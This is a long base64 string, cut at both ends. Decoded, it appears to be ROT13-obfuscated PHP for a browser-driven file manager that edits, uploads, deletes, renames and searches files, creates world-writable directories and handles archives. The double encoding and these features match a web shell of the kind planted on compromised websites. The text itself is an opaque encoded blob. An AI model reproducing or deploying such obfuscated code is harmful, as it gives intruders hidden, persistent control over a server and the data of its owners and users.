I9ImZob3p2ZyIgaW55aHI9IicuX18oJ0ZuaXInKS4nIiA+PC9ncT48L2dlPg0KPC9zYmV6Pg0KPC9nbm95cj4nOw0KcnB1YiBzel9nY3lfc2JleignY3VjJyksc3pfZ2N5X3NiZXooJ2ZkeScpOw0KfSByeWZydnMgKHZmZnJnKCRjZWJrbF9zYmV6KSkgew0KCXF2cigkY2Via2xfc2Jleik7DQp9IHJ5ZnJ2cyAodmZmcmcoJGVyZl95YXQpKSB7CQ0KPz4NCjxnbm95ciBweW5mZj0ianVieXIiPg0KPGdlPg0KICAgIDxndT48Pz1fXygnU3Z5ciB6bmFudHJlJykuJyAtICcuJGNuZ3U/PjwvZ3U+DQo8L2dlPg0KPGdlPg0KICAgIDxncSBweW5mZj0iZWJqMiI+PGdub3lyPjxnZT48Z3E+PHUyPjw/PWZnZWdiaGNjcmUoJGVyZl95YXQpPz4gPD89X18oJ1BiYWZieXInKT8+PD9jdWMNCgl2cygkZXJmX3lhdD09J2ZkeScpIHJwdWIgJyAtIFFuZ25vbmZyOiAnLiRzel9wYmFzdnRbJ2ZkeV9xbyddLic8L3UyPjwvZ3E+PGdxPicuc3pfZWhhX3ZhY2hnKCdjdWMnKTsNCglyeWZyIHJwdWIgJzwvdTI+PC9ncT48Z3E+Jy5zel9laGFfdmFjaGcoJ2ZkeScpOw0KCT8+PC9ncT48L2dlPjwvZ25veXI+PC9ncT4NCjwvZ2U+DQo8Z2U+DQogICAgPGdxIHB5bmZmPSJlYmoxIj4NCgkJPG4gdWVycz0iPD89JGhleV92YXAuJyZjbmd1PScgLiAkY25ndTs/PiI+PD89X18oJ09ucHgnKT8+PC9uPg0KCQk8c2JleiBucGd2YmE9IiIgenJndWJxPSJDQkZHIiBhbnpyPSJwYmFmYnlyIj4NCgkJPGdya2duZXJuIGFuenI9Ijw/PSRlcmZfeWF0Pz4iIHBieWY9IjgwIiBlYmpmPSIxMCIgZmdseXI9Imp2cWd1OiA5MCUiPjw/PSRlcmY/PjwvZ3JrZ25lcm4+PG9lLz4NCgkJPHZhY2hnIGdsY3I9ImVyZnJnIiBpbnlocj0iPD89X18oJ0VyZnJnJyk/PiI+DQoJCTx2YWNoZyBnbGNyPSJmaG96dmciIGlueWhyPSI8Pz1fXygnRmhvenZnJyk/PiIgYW56cj0iPD89JGVyZl95YXQ/PmVoYSI+DQo8P2N1Yw0KJGZnZV9nemN5ID0gJGVyZl95YXQuJ19ncnpjeW5ncmYnOw0KJGd6Y3kgPSAhcnpjZ2woJCRmZ2VfZ3pjeSkgPyB3ZmJhX3FycGJxcigkJGZnZV9nemN5LGdlaHIpIDogJyc7DQp2cyAoIXJ6Y2dsKCRnemN5KSl7DQoJJG5wZ3ZpciA9IHZmZnJnKCRfQ0JGR1skZXJmX3lhdC4nX2djeSddKSA/ICRfQ0JGR1skZXJmX3lhdC4nX2djeSddIDogJyc7DQoJJGZyeXJwZyA9ICc8ZnJ5cnBnIGFuenI9IicuJGVyZl95YXQuJ19nY3kiIGd2Z3lyPSInLl9fKCdHcnpjeW5ncicpLiciIGJhcHVuYXRyPSJ2cyAoZ3V2Zi5pbnlociE9LTEpIHFicGh6cmFnLnNiZXpmW1wncGJhZmJ5clwnXS5yeXJ6cmFnZltcJycuJGVyZl95YXQuJ1wnXS5pbnlociA9IGd1dmYuYmNndmJhZltmcnlycGdycVZhcXJrXS5pbnlocjsgcnlmciBxYnBoenJhZy5zYmV6ZltcJ3BiYWZieXJcJ10ucnlyenJhZ2ZbXCcnLiRlcmZfeWF0LidcJ10uaW55aHIgPVwnXCc7IiA+Jy4iXGEiOw0KCSRmcnlycGcgLj0gJzxiY2d2YmEgaW55aHI9Ii0xIj4nIC4gX18oJ0ZyeXJwZycpIC4gIjwvYmNndmJhPlxhIjsNCglzYmVybnB1ICgkZ3pjeSBuZiAkeHJsPT4kaW55aHIpew0KCQkkZnJ5cnBnLj0nPGJjZ3ZiYSBpbnlocj0iJy4kaW55aHIuJyIgJy4oKCFyemNnbCgkaW55aHIpJiYoJGlueWhyPT0kbnBndmlyKSk/J2ZyeXJwZ3JxJzonJykuJyA+Jy5fXygkeHJsKS4iPC9iY2d2YmE+XGEiOw0KCX0NCgkkZnJ5cnBnIC49ICI8L2ZyeXJwZz5cYSI7DQoJcnB1YiAkZnJ5cnBnOw0KfQ0KPz4NCgkJPC9zYmV6Pg0KCTwvZ3E+DQo8L2dlPg0KPC9nbm95cj4NCjw/Y3VjDQoJdnMgKCFyemNnbCgkZXJmKSkgew0KCQkkc2hhPSdzel8nLiRlcmZfeWF0Ow0KCQlycHViICc8dTM+Jy5mZ2VnYmhjY3JlKCRlcmZfeWF0KS4nICcuX18oJ0VyZmh5ZycpLic8L3UzPjxjZXI+Jy4kc2hhKCRlcmYpLic8L2Nlcj4nOw0KCX0NCn0gcnlmcnZzICghcnpjZ2woJF9FUkRIUkZHWydycXZnJ10pKXsNCgl2cyghcnpjZ2woJF9FUkRIUkZHWydmbmlyJ10pKSB7DQoJCSRzYSA9ICRjbmd1IC4gJF9FUkRIUkZHWydycXZnJ107DQoJCSRzdnlyemd2enIgPSBzdnlyemd2enIoJHNhKTsNCgkgICAgdnMgKHN2eXJfY2hnX3BiYWdyYWdmKCRzYSwgJF9FUkRIUkZHWydhcmpwYmFncmFnJ10pKSAkemZ0IC49IF9fKCdTdnlyIGhjcW5ncnEnKTsNCgkJcnlmciAkemZ0IC49IF9fKCdSZWViZSBicHBoZWVycScpOw0KCQl2cyAoJF9UUkdbJ3JxdmcnXT09b25mcmFuenIoX19TVllSX18pKSB7DQoJCQlnYmhwdShfX1NWWVJfXywxNDE1MTE2MzcxKTsNCgkJfSByeWZyIHsNCgkJCXZzICghcnpjZ2woJHN6X3BiYXN2dFsnZXJmZ2Jlcl9ndnpyJ10pKSBnYmhwdSgkc2EsJHN2eXJ6Z3Z6cik7DQoJCX0NCgl9DQogICAgJGJ5cXBiYWdyYWcgPSBAc3Z5cl90cmdfcGJhZ3JhZ2YoJGNuZ3UgLiAkX0VSREhSRkdbJ3JxdmcnXSk7DQogICAgJHJxdmd5dmF4ID0gJGhleV92YXAgLiAnJnJxdmc9JyAuICRfRVJESFJGR1sncnF2ZyddIC4gJyZjbmd1PScgLiAkY25ndTsNCiAgICAkb25weHl2YXggPSAkaGV5X3ZhcCAuICcmY25ndT0nIC4gJGNuZ3U7DQo/Pg0KPGdub3lyIG9iZXFyZT0nMCcgcHJ5eWZjbnB2YXQ9JzAnIHByeXljbnFxdmF0PScxJyBqdnFndT0iMTAwJSI+DQo8Z2U+DQogICAgPGd1Pjw/PV9fKCdTdnlyIHpuYW50cmUnKS4nIC0gJy5fXygnUnF2ZycpLicgLSAnLiRjbmd1LiRfRVJESFJGR1sncnF2ZyddPz48L2d1Pg0KPC9nZT4NCjxnZT4NCiAgICA8Z3EgcHluZmY9ImViajEiPg0KICAgICAgICA8Pz0kemZ0Pz4NCgk8L2dxPg0KPC9nZT4NCjxnZT4NCiAgICA8Z3EgcHluZmY9ImViajEiPg0KICAgICAgICA8Pz1zel91YnpyKCk/PiA8biB1ZXJzPSI8Pz0kb25weHl2YXg/PiI+PD89X18oJ09ucHgnKT8+PC9uPg0KCTwvZ3E+DQo8L2dlPg0KPGdlPg0KICAgIDxncSBweW5mZj0iZWJqMSIgbnl2dGE9InByYWdyZSI+DQogICAgICAgIDxzYmV6IGFuenI9InNiZXoxIiB6cmd1YnE9ImNiZmciIG5wZ3ZiYT0iPD89JHJxdmd5dmF4Pz4iPg0KICAgICAgICAgICAgPGdya2duZXJuIGFuenI9ImFyanBiYWdyYWciIHZxPSJhcmpwYmFncmFnIiBwYnlmPSI0NSIgZWJqZj0iMTUiIGZnbHlyPSJqdnFndTo5OSUiIGZjcnl5cHVycHg9InNueWZyIj48Pz11Z3p5ZmNycHZueXB1bmVmKCRieXFwYmFncmFnKT8+PC9ncmtnbmVybj4NCiAgICAgICAgICAgIDx2YWNoZyBnbGNyPSJmaG96dmciIGFuenI9ImZuaXIiIGlueWhyPSI8Pz1fXygnRmhvenZnJyk/PiI+DQogICAgICAgICAgICA8dmFjaGcgZ2xjcj0iZmhvenZnIiBhbnpyPSJwbmFwcnkiIGlueWhyPSI8Pz1fXygnUG5hcHJ5Jyk/PiI+DQogICAgICAgIDwvc2Jlej4NCiAgICA8L2dxPg0KPC9nZT4NCjwvZ25veXI+DQo8P2N1Yw0KcnB1YiAkbmhndVsnZnBldmNnJ107DQp9IHJ5ZnJ2cyghcnpjZ2woJF9FUkRIUkZHWydldnR1Z2YnXSkpew0KCXZzKCFyemNnbCgkX0VSREhSRkdbJ2ZuaXInXSkpIHsNCgkgICAgdnMoc3pfcHV6YnEoJGNuZ3UgLiAkX0VSREhSRkdbJ2V2dHVnZiddLCBzel9wYmFpcmVnX2V2dHVnZigkX0VSREhSRkdbJ2V2dHVnZl9pbnknXSksIEAkX0VSREhSRkdbJ2VycGhlZnZpcnlsJ10pKQ0KCQkkemZ0IC49IChfXygnU3Z5ciBoY3FuZ3JxJykpOyANCgkJcnlmciAkemZ0IC49IChfXygnUmVlYmUgYnBwaGVlcnEnKSk7DQoJfQ0KCXB5cm5lZmduZ3BucHVyKCk7DQogICAgJGJ5cWV2dHVnZiA9IHN6X2V2dHVnZl9mZ2V2YXQoJGNuZ3UgLiAkX0VSREhSRkdbJ2V2dHVnZiddLCBnZWhyKTsNCiAgICAkeXZheCA9ICRoZXlfdmFwIC4gJyZldnR1Z2Y9JyAuICRfRVJESFJGR1snZXZ0dWdmJ10gLiAnJmNuZ3U9JyAuICRjbmd1Ow0KICAgICRvbnB4eXZheCA9ICRoZXlfdmFwIC4gJyZjbmd1PScgLiAkY25ndTsNCj8+DQo8Z25veXIgcHluZmY9Imp1YnlyIj4NCjxnZT4NCiAgICA8Z3U+PD89X18oJ1N2eXIgem5hbnRyZScpLicgLSAnLiRjbmd1Pz48L2d1Pg0KPC9nZT4NCjxnZT4NCiAgICA8Z3EgcHluZmY9ImViajEiPg0KICAgICAgICA8Pz0kemZ0Pz4NCgk8L2dxPg0KPC9nZT4NCjxnZT4NCiAgICA8Z3EgcHluZmY9ImViajEiPg0KICAgICAgICA8biB1ZXJzPSI8Pz0kb25weHl2YXg/PiI+PD89X18oJ09ucHgnKT8+PC9uPg0KCTwvZ3E+DQo8L2dlPg0KPGdlPg0KICAgIDxncSBweW5mZj0iZWJqMSIgbnl2dGE9InByYWdyZSI+DQogICAgICAgIDxzYmV6IGFuenI9InNiZXoxIiB6cmd1YnE9ImNiZmciIG5wZ3ZiYT0iPD89JHl2YXg/PiI+DQogICAgICAgICAgIDw/PV9fKCdFdnR1Z2YnKS4nIC0gJy4kX0VSREhSRkdbJ2V2dHVnZiddPz4gPHZhY2hnIGdsY3I9Imdya2ciIGFuenI9ImV2dHVnZl9pbnkiIGlueWhyPSI8Pz0kYnlxZXZ0dWdmPz4iPg0KICAgICAgICA8P2N1YyB2cyAodmZfcXZlKCRjbmd1LiRfRVJESFJGR1snZXZ0dWdmJ10pKSB7ID8+DQogICAgICAgICAgICA8dmFjaGcgZ2xjcj0icHVycHhvYmsiIGFuenI9ImVycGhlZnZpcnlsIiBpbnlocj0iMSI+IDw/PV9fKCdFcnBoZWZ2aXJ5bCcpPz48b2UvPg0KICAgICAgICA8P2N1YyB9ID8+DQogICAgICAgICAgICA8dmFjaGcgZ2xjcj0iZmhvenZnIiBhbnpyPSJmbmlyIiBpbnlocj0iPD89X18oJ0Zob3p2ZycpPz4iPg0KICAgICAgICA8L3NiZXo+DQogICAgPC9ncT4NCjwvZ2U+DQo8L2dub3lyPg0KPD9jdWMNCn0gcnlmcnZzICghcnpjZ2woJF9FUkRIUkZHWydlcmFuenInXSkmJiRfRVJESFJGR1snZXJhbnpyJ108PicuJykgew0KCXZzKCFyemNnbCgkX0VSREhSRkdbJ2ZuaXInXSkpIHsNCgkgICAgZXJhbnpyKCRjbmd1IC4gJF9FUkRIUkZHWydlcmFuenInXSwgJGNuZ3UgLiAkX0VSREhSRkdbJ2FyamFuenInXSk7DQoJCSR6ZnQgLj0gKF9fKCdTdnlyIGhjcW5ncnEnKSk7DQoJCSRfRVJESFJGR1snZXJhbnpyJ10gPSAkX0VSREhSRkdbJ2FyamFuenInXTsNCgl9DQoJcHlybmVmZ25ncG5wdXIoKTsNCiAgICAkeXZheCA9ICRoZXlfdmFwIC4gJyZlcmFuenI9JyAuICRfRVJESFJGR1snZXJhbnpyJ10gLiAnJmNuZ3U9JyAuICRjbmd1Ow0KICAgICRvbnB4eXZheCA9ICRoZXlfdmFwIC4gJyZjbmd1PScgLiAkY25ndTsNCg0KPz4NCjxnbm95ciBweW5mZj0ianVieXIiPg0KPGdlPg0KICAgIDxndT48Pz1fXygnU3Z5ciB6bmFudHJlJykuJyAtICcuJGNuZ3U/PjwvZ3U+DQo8L2dlPg0KPGdlPg0KICAgIDxncSBweW5mZj0iZWJqMSI+DQogICAgICAgIDw/PSR6ZnQ/Pg0KCTwvZ3E+DQo8L2dlPg0KPGdlPg0KICAgIDxncSBweW5mZj0iZWJqMSI+DQogICAgICAgIDxuIHVlcnM9Ijw/PSRvbnB4eXZheD8+Ij48Pz1fXygnT25weCcpPz48L24+DQoJPC9ncT4NCjwvZ2U+DQo8Z2U+DQogICAgPGdxIHB5bmZmPSJlYmoxIiBueXZ0YT0icHJhZ3JlIj4NCiAgICAgICAgPHNiZXogYW56cj0ic2JlejEiIHpyZ3VicT0iY2JmZyIgbnBndmJhPSI8Pz0keXZheD8+Ij4NCiAgICAgICAgICAgIDw/PV9fKCdFcmFuenInKT8+OiA8dmFjaGcgZ2xjcj0iZ3JrZyIgYW56cj0iYXJqYW56ciIgaW55aHI9Ijw/PSRfRVJESFJGR1snZXJhbnpyJ10/PiI+PG9lLz4NCiAgICAgICAgICAgIDx2YWNoZyBnbGNyPSJmaG96dmciIGFuenI9ImZuaXIiIGlueWhyPSI8Pz1fXygnRmhvenZnJyk/PiI+DQogICAgICAgIDwvc2Jlej4NCiAgICA8L2dxPg0KPC9nZT4NCjwvZ25veXI+DQo8P2N1Yw0KfSByeWZyIHsNCi8vWXJnJ2YgZWJweCENCiAgICAkemZ0ID0gJyc7DQogICAgdnMoIXJ6Y2dsKCRfU1ZZUkZbJ2hjeWJucSddKSYmIXJ6Y2dsKCRzel9wYmFzdnRbJ2hjeWJucV9zdnlyJ10pKSB7DQogICAgICAgIHZzKCFyemNnbCgkX1NWWVJGWydoY3libnEnXVsnYW56ciddKSl7DQogICAgICAgICAgICAkX1NWWVJGWydoY3libnEnXVsnYW56ciddID0gZmdlX2VyY3lucHIoJyUnLCAnJywgJF9TVllSRlsnaGN5Ym5xJ11bJ2FuenInXSk7DQogICAgICAgICAgICB2cyghemJpcl9oY3libnFycV9zdnlyKCRfU1ZZUkZbJ2hjeWJucSddWydnemNfYW56ciddLCAkY25ndSAuICRfU1ZZUkZbJ2hjeWJucSddWydhbnpyJ10pKXsNCiAgICAgICAgICAgICAgICAkemZ0IC49IF9fKCdSZWViZSBicHBoZWVycScpOw0KICAgICAgICAgICAgfSByeWZyIHsNCgkJCQkkemZ0IC49IF9fKCdTdnlyZiBoY3libnFycScpLic6ICcuJF9TVllSRlsnaGN5Ym5xJ11bJ2FuenInXTsNCgkJCX0NCiAgICAgICAgfQ0KICAgIH0gcnlmcnZzKCFyemNnbCgkX0VSREhSRkdbJ3FyeXJnciddKSYmJF9FUkRIUkZHWydxcnlyZ3InXTw+Jy4nKSB7DQogICAgICAgIHZzKCFzel9xcnlfc3Z5cmYoKCRjbmd1IC4gJF9FUkRIUkZHWydxcnlyZ3InXSksIGdlaHIpKSB7DQogICAgICAgICAgICAkemZ0IC49IF9fKCdSZWViZSBicHBoZWVycScpOw0KICAgICAgICB9IHJ5ZnIgew0KCQkJJHpmdCAuPSBfXygnUXJ5cmdycScpLicgJy4kX0VSREhSRkdbJ3FyeXJnciddOw0KCQl9DQoJfSByeWZydnMoIXJ6Y2dsKCRfRVJESFJGR1snenhxdmUnXSkmJiFyemNnbCgkc3pfcGJhc3Z0Wyd6bnhyX3F2ZXJwZ2JlbCddKSkgew0KICAgICAgICB2cyghQHp4cXZlKCRjbmd1IC4gJF9FUkRIUkZHWydxdmVhbnpyJ10sMDc3NykpIHsNCiAgICAgICAgICAgICR6ZnQgLj0gX18oJ1JlZWJlIGJwcGhlZXJxJyk7DQogICAgICAgIH0gcnlmciB7DQoJCQkkemZ0IC49IF9fKCdQZXJuZ3JxJykuJyAnLiRfRVJESFJGR1sncXZlYW56ciddOw0KCQl9DQogICAgfSByeWZydnMoIXJ6Y2dsKCRfQ0JGR1snZnJuZXB1X2VycGhlZnZpciddKSkgew0KCQl2YXZfZnJnKCd6bmtfcmtycGhndmJhX2d2enInLCAnMCcpOw0KCQkkZnJuZXB1X3FuZ24gPSAgc3ZhcV9ncmtnX3ZhX3N2eXJmKCRfQ0JGR1snY25ndSddLCAkX0NCRkdbJ3puZngnXSwgJF9DQkZHWydmcm5lcHVfZXJwaGVmdmlyJ10pOw0KCQl2cyghcnpjZ2woJGZybmVwdV9xbmduKSkgew0KCQkJJHpmdCAuPSBfXygnU2JoYXEgdmEgc3Z5cmYnKS4nICgnLnBiaGFnKCRmcm5lcHVfcW5nbikuJyk6PG9lPic7DQoJCQlzYmVybnB1ICgkZnJuZXB1X3FuZ24gbmYgJHN2eXJhbnpyKSB7DQoJCQkJJHpmdCAuPSAnPG4gdWVycz0iJy5zel9oZXkoZ2VocikuJz9zej1nZWhyJnJxdmc9Jy5vbmZyYW56cigkc3Z5cmFuenIpLicmY25ndT0nLmZnZV9lcmN5bnByKCcvJy5vbmZyYW56cigkc3Z5cmFuenIpLCcvJywkc3Z5cmFuenIpLiciIGd2Z3lyPSInIC4gX18oJ1JxdmcnKSAuICciPicub25mcmFuenIoJHN2eXJhbnpyKS4nPC9uPiZhb2ZjOyAmYW9mYzsnOw0KCQkJfQ0KCQl9IHJ5ZnIgew0KCQkJJHpmdCAuPSBfXygnQWJndXZhdCBzYmhhcXJxJyk7DQoJCX0JDQoJfSByeWZydnMoIXJ6Y2dsKCRfRVJESFJGR1snenhzdnlyJ10pJiYhcnpjZ2woJHN6X3BiYXN2dFsnYXJqX3N2eXInXSkpIHsNCiAgICAgICAgdnMoISRzYz1Ac2JjcmEoJGNuZ3UgLiAkX0VSREhSRkdbJ3N2eXJhbnpyJ10sImoiKSkgew0KICAgICAgICAgICAgJHpmdCAuPSBfXygnUmVlYmUgYnBwaGVlcnEnKTsNCiAgICAgICAgfSByeWZyIHsNCgkJCXNweWJmcigkc2MpOw0KCQkJJHpmdCAuPSBfXygnUGVybmdycScpLicgJy4kX0VSREhSRkdbJ3N2eXJhbnpyJ107DQoJCX0NCiAgICB9IHJ5ZnJ2cyAodmZmcmcoJF9UUkdbJ212YyddKSkgew0KCQkkZmJoZXByID0gb25mcjY0X3FycGJxcigkX1RSR1snbXZjJ10pOw0KCQkkcXJmZ3Zhbmd2YmEgPSBvbmZyYW56cigkZmJoZXByKS4nLm12Yyc7DQoJCWZyZ19ndnpyX3l2enZnKDApOw0KCQkkY3VuZSA9IGFyaiBDdW5lUW5nbigkcXJmZ3Zhbmd2YmEpOw0KCQkkY3VuZS0+b2h2eXFTZWJ6UXZlcnBnYmVsKCRmYmhlcHIpOw0KCQl2cyAodmZfc3Z5cigkcXJmZ3Zhbmd2YmEpKQ0KCQkkemZ0IC49IF9fKCdHbmZ4JykuJyAiJy5fXygnTmVwdXZpdmF0JykuJyAnLiRxcmZndmFuZ3ZiYS4nIiAnLl9fKCdxYmFyJykuDQoJCScuJmFvZmM7Jy5zel95dmF4KCdxYmpheWJucScsJGNuZ3UuJHFyZmd2YW5ndmJhLF9fKCdRYmpheWJucScpLF9fKCdRYmpheWJucScpLicgJy4gJHFyZmd2YW5ndmJhKQ0KCQkuJyZhb2ZjOzxuIHVlcnM9IicuJGhleV92YXAuJyZxcnlyZ3I9Jy4kcXJmZ3Zhbmd2YmEuJyZjbmd1PScgLiAkY25ndS4nIiBndmd5cj0iJy5fXygnUXJ5cmdyJykuJyAnLiAkcXJmZ3Zhbmd2YmEuJyIgPicuX18oJ1FyeXJncicpIC4gJzwvbj4nOw0KCQlyeWZyICR6ZnQgLj0gX18oJ1JlZWJlIGJwcGhlZXJxJykuJzogJy5fXygnYWIgc3Z5cmYnKTsNCgl9IHJ5ZnJ2cyAodmZmcmcoJF9UUkdbJ3RtJ10pKSB7DQoJCSRmYmhlcHIgPSBvbmZyNjRfcXJwYnFyKCRfVFJHWyd0bSddKTsNCgkJJG5lcHV2aXIgPSAkZmJoZXByLicuZ25lJzsNCgkJJHFyZmd2YW5ndmJhID0gb25mcmFuenIoJGZiaGVwcikuJy5nbmUnOw0KCQl2cyAodmZfc3Z5cigkbmVwdXZpcikpIGhheXZheCgkbmVwdXZpcik7DQoJCXZzICh2Zl9zdnlyKCRuZXB1dmlyLicudG0nKSkgaGF5dmF4KCRuZXB1dmlyLicudG0nKTsNCgkJcHlybmVmZ25ncG5wdXIoKTsNCgkJZnJnX2d2enJfeXZ6dmcoMCk7DQoJCS8vcXZyKCk7DQoJCSRjdW5lID0gYXJqIEN1bmVRbmduKCRxcmZndmFuZ3ZiYSk7DQoJCSRjdW5lLT5vaHZ5cVNlYnpRdmVycGdiZWwoJGZiaGVwcik7DQoJCSRjdW5lLT5wYnpjZXJmZihDdW5lOjpUTSwnLmduZS50bScpOw0KCQloYWZyZygkY3VuZSk7DQoJCXZzICh2Zl9zdnlyKCRuZXB1dmlyKSkgew0KCQkJdnMgKHZmX3N2eXIoJG5lcHV2aXIuJy50bScpKSB7DQoJCQkJaGF5dmF4KCRuZXB1dmlyKTsgDQoJCQkJJHFyZmd2YW5ndmJhIC49ICcudG0nOw0KCQkJfQ0KDQoJCQkkemZ0IC49IF9fKCdHbmZ4JykuJyAiJy5fXygnTmVwdXZpdmF0JykuJyAnLiRxcmZndmFuZ3ZiYS4nIiAnLl9fKCdxYmFyJykuDQoJCQknLiZhb2ZjOycuc3pfeXZheCgncWJqYXlibnEnLCRjbmd1LiRxcmZndmFuZ3ZiYSxfXygnUWJqYXlibnEnKSxfXygnUWJqYXlibnEnKS4nICcuICRxcmZndmFuZ3ZiYSkNCgkJCS4nJmFvZmM7PG4gdWVycz0iJy4kaGV5X3ZhcC4nJnFyeXJncj0nLiRxcmZndmFuZ3ZiYS4nJmNuZ3U9JyAuICRjbmd1LiciIGd2Z3lyPSInLl9fKCdRcnlyZ3InKS4nICcuJHFyZmd2YW5ndmJhLiciID4nLl9fKCdRcnlyZ3InKS4nPC9uPic7DQoJCX0gcnlmciAkemZ0IC49IF9fKCdSZWViZSBicHBoZWVycScpLic6ICcuX18oJ2FiIHN2eXJmJyk7DQoJfSByeWZydnMgKHZmZnJnKCRfVFJHWydxcnBiemNlcmZmJ10pKSB7DQoJCS8vICRmYmhlcHIgPSBvbmZyNjRfcXJwYnFyKCRfVFJHWydxcnBiemNlcmZmJ10pOw0KCQkvLyAkcXJmZ3Zhbmd2YmEgPSBvbmZyYW56cigkZmJoZXByKTsNCgkJLy8gJHJrZyA9IHJhcShya2N5YnFyKCIuIiwgJHFyZmd2YW5ndmJhKSk7DQoJCS8vIHZzICgkcmtnPT0nbXZjJyBCRSAkcmtnPT0ndG0nKSB7DQoJCQkvLyAkY3VuZSA9IGFyaiBDdW5lUW5nbigkZmJoZXByKTsNCgkJCS8vICRjdW5lLT5xcnBiemNlcmZmKCk7DQoJCQkvLyAkb25mcl9zdnlyID0gZmdlX2VyY3lucHIoJy4nLiRya2csJycsJHFyZmd2YW5ndmJhKTsNCgkJCS8vICRya2cgPSByYXEocmtjeWJxcigiLiIsICRvbmZyX3N2eXIpKTsNCgkJCS8vIHZzICgkcmtnPT0nZ25lJyl7DQoJCQkJLy8gJGN1bmUgPSBhcmogQ3VuZVFuZ24oJG9uZnJfc3Z5cik7DQoJCQkJLy8gJGN1bmUtPnJrZ2VucGdHYihxdmUoJGZiaGVwcikpOw0KCQkJLy8gfQ0KCQkvLyB9IA0KCQkvLyAkemZ0IC49IF9fKCdHbmZ4JykuJyAiJy5fXygnUXJwYnpjZXJmZicpLicgJy4kZmJoZXByLiciICcuX18oJ3FiYXInKTsNCgl9IHJ5ZnJ2cyAodmZmcmcoJF9UUkdbJ3Rtc3Z5ciddKSkgew0KCQkkZmJoZXByID0gb25mcjY0X3FycGJxcigkX1RSR1sndG1zdnlyJ10pOw0KCQkkbmVwdXZpciA9ICRmYmhlcHIuJy5nbmUnOw0KCQkkcXJmZ3Zhbmd2YmEgPSBvbmZyYW56cigkZmJoZXByKS4nLmduZSc7DQoJCXZzICh2Zl9zdnlyKCRuZXB1dmlyKSkgaGF5dmF4KCRuZXB1dmlyKTsNCgkJdnMgKHZmX3N2eXIoJG5lcHV2aXIuJy50bScpKSBoYXl2YXgoJG5lcHV2aXIuJy50bScpOw0KCQlmcmdfZ3Z6cl95dnp2ZygwKTsNCgkJLy9ycHViICRxcmZndmFuZ3ZiYTsNCgkJJHJrZ19uZWUgPSBya2N5YnFyKCcuJyxvbmZyYW56cigkZmJoZXByKSk7DQoJCXZzICh2ZmZyZygkcmtnX25lZVsxXSkpIHsNCgkJCWhhZnJnKCRya2dfbmVlWzBdKTsNCgkJCSRya2c9dnpjeWJxcignLicsJHJrZ19uZWUpOw0KCQl9IA0KCQkkY3VuZSA9IGFyaiBDdW5lUW5nbigkcXJmZ3Zhbmd2YmEpOw0KCQkkY3VuZS0+bnFxU3Z5cigkZmJoZXByKTsNCgkJJGN1bmUtPnBiemNlcmZmKEN1bmU6OlRNLCRya2cuJy5nbmUudG0nKTsNCgkJaGFmcmcoJGN1bmUpOw0KCQl2cyAodmZfc3Z5cigkbmVwdXZpcikpIHsNCgkJCXZzICh2Zl9zdnlyKCRuZXB1dmlyLicudG0nKSkgew0KCQkJCWhheXZheCgkbmVwdXZpcik7IA0KCQkJCSRxcmZndmFuZ3ZiYSAuPSAnLnRtJzsNCgkJCX0NCgkJCSR6ZnQgLj0gX18oJ0duZngnKS4nICInLl9fKCdOZXB1dml2YXQnKS4nICcuJHFyZmd2YW5ndmJhLiciICcuX18oJ3FiYXInKS4NCgkJCScuJmFvZmM7Jy5zel95dmF4KCdxYmpheWJucScsJGNuZ3UuJHFyZmd2YW5ndmJhLF9fKCdRYmpheWJucScpLF9fKCdRYmpheWJucScpLicgJy4gJHFyZmd2YW5ndmJhKQ0KCQkJLicmYW9mYzs8biB1ZXJzPSInLiRoZXlfdmFwLicmcXJ5cmdyPScuJHFyZmd2YW5ndmJhLicmY25ndT0nIC4gJGNuZ3UuJyIgZ3ZneXI9IicuX18oJ1FyeXJncicpLicgJy4kcXJmZ3Zhbmd2YmEuJyIgPicuX18oJ1FyeXJncicpLic8L24+JzsNCgkJfSByeWZyICR6ZnQgLj0gX18oJ1JlZWJlIGJwcGhlZXJxJykuJzogJy5fXygnYWIgc3Z5cmYnKTsNCgl9DQo/Pg0KPGdub3lyIHB5bmZmPSJqdWJ5ciIgdnE9InVybnFyZV9nbm95ciIgPg0KPGdlPg0KICAgIDxndSBwYnlmY25hPSIyIj48Pz1fXygnU3Z5ciB6bmFudHJlJyk/Pjw/PSghcnpjZ2woJGNuZ3UpPycgLSAnLiRjbmd1OicnKT8+PC9ndT4NCjwvZ2U+DQo8P2N1YyB2cyghcnpjZ2woJHpmdCkpeyA/Pg0KPGdlPg0KCTxncSBwYnlmY25hPSIyIiBweW5mZj0iZWJqMiI+PD89JHpmdD8+PC9ncT4NCjwvZ2U+DQo8P2N1YyB9ID8+DQo8Z2U+DQogICAgPGdxIHB5bmZmPSJlYmoyIj4NCgkJPGdub3lyPg0KCQkJPGdlPg0KCQkJPGdxPg0KCQkJCTw/PXN6X3VienIoKT8+DQoJCQk8L2dxPg0KCQkJPGdxPg0KCQkJPD9jdWMgdnMoIXJ6Y2dsKCRzel9wYmFzdnRbJ3pueHJfcXZlcnBnYmVsJ10pKSB7ID8+DQoJCQkJPHNiZXogenJndWJxPSJjYmZnIiBucGd2YmE9Ijw/PSRoZXlfdmFwPz4iPg0KCQkJCTx2YWNoZyBnbGNyPSJ1dnFxcmEiIGFuenI9ImNuZ3UiIGlueWhyPSI8Pz0kY25ndT8+IiAvPg0KCQkJCTx2YWNoZyBnbGNyPSJncmtnIiBhbnpyPSJxdmVhbnpyIiBmdm1yPSIxNSI+DQoJCQkJPHZhY2hnIGdsY3I9ImZob3p2ZyIgYW56cj0ienhxdmUiIGlueWhyPSI8Pz1fXygnWm54ciBxdmVycGdiZWwnKT8+Ij4NCgkJCQk8L3NiZXo+DQoJCQk8P2N1YyB9ID8+DQoJCQk8L2dxPg0KCQkJPGdxPg0KCQkJPD9jdWMgdnMoIXJ6Y2dsKCRzel9wYmFzdnRbJ2Fyal9zdnlyJ10pKSB7ID8+DQoJCQkJPHNiZXogenJndWJxPSJjYmZnIiBucGd2YmE9Ijw/PSRoZXlfdmFwPz4iPg0KCQkJCTx2YWNoZyBnbGNyPSJ1dnFxcmEiIGFuenI9ImNuZ3UiICAgICBpbnlocj0iPD89JGNuZ3U/PiIgLz4NCgkJCQk8dmFjaGcgZ2xjcj0iZ3JrZyIgICBhbnpyPSJzdnlyYW56ciIgZnZtcj0iMTUiPg0KCQkJCTx2YWNoZyBnbGNyPSJmaG96dmciIGFuenI9Inp4c3Z5ciIgICBpbnlocj0iPD89X18oJ0FyaiBzdnlyJyk/PiI+DQoJCQkJPC9zYmV6Pg0KCQkJPD9jdWMgfSA/Pg0KCQkJPC9ncT4NCgkJCTxncT4NCgkJCQk8c2JleiAgenJndWJxPSJjYmZnIiBucGd2YmE9Ijw/PSRoZXlfdmFwPz4iIGZnbHlyPSJxdmZje